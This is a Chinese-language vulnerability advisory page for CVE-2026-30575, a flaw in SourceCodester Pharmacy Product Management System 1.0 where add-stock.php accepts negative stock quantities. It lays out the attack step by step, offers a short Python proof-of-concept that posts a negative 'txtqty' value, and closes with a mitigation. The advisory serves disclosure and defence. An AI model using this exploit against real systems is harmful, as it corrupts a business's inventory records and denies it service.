IPBUF安全漏洞报告
English
CVE-2026-30575 CVSS 7.5 高危

CVE-2026-30575 药店管理系统业务逻辑漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30575
漏洞类型
业务逻辑漏洞
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Product Management System

相关标签

业务逻辑漏洞DoSSourceCodester输入验证缺失

漏洞概述

SourceCodester Pharmacy Product Management System 1.0中的add-stock.php文件存在业务逻辑漏洞。系统未对入库操作中的“txtqty”参数进行严格验证,允许提交负数值。攻击者利用此漏洞可提交负数库存,导致系统错误地将库存扣减而非增加,从而破坏库存数据完整性或引发拒绝服务。

技术细节

该漏洞的核心在于后端对业务输入数据的校验缺失。在add-stock.php处理库存增加请求时,程序直接获取用户提交的“txtqty”参数值,未判断其是否为正整数。当攻击者构造HTTP请求,将“txtqty”设置为负数(如-50)时,系统将其作为合法的增量处理,执行“现有库存 + 负值”的操作。这不仅会导致库存数量异常减少,还可能被利用来清空特定商品的库存记录,造成业务逻辑混乱和系统可用性受损。

攻击链分析

STEP 1
1. 探测目标
攻击者识别出目标系统为SourceCodester Pharmacy Product Management System 1.0,并定位到add-stock.php接口。
STEP 2
2. 构造恶意请求
攻击者构造HTTP POST请求,将参数“txtqty”设置为负数值(例如-100),模拟异常的入库操作。
STEP 3
3. 服务端处理
服务器接收请求,由于缺乏校验,直接将负数值带入库存更新逻辑,执行减法操作而非加法。
STEP 4
4. 达成攻击效果
系统库存数据被错误扣减,导致记录混乱或库存被耗尽,造成拒绝服务或数据完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-30575 # Exploit: Business Logic Error allowing negative stock quantity import requests def exploit_negative_stock(target_url, product_id, negative_qty): # The vulnerable endpoint url = f"{target_url}/add-stock.php" # Payload with negative quantity data = { "product_id": product_id, "txtqty": negative_qty } try: response = requests.post(url, data=data) if response.status_code == 200: print(f"[+] Request sent. Stock decreased by {abs(negative_qty)}.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}") # Usage # exploit_negative_stock("http://target.com", "1", "-100")

影响范围

SourceCodester Pharmacy Product Management System 1.0

防御指南

临时缓解措施
建议管理员在服务器端对入库数量参数实施严格的类型和范围检查,确保只接受大于零的整数,从而阻止负数输入导致的逻辑错误。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表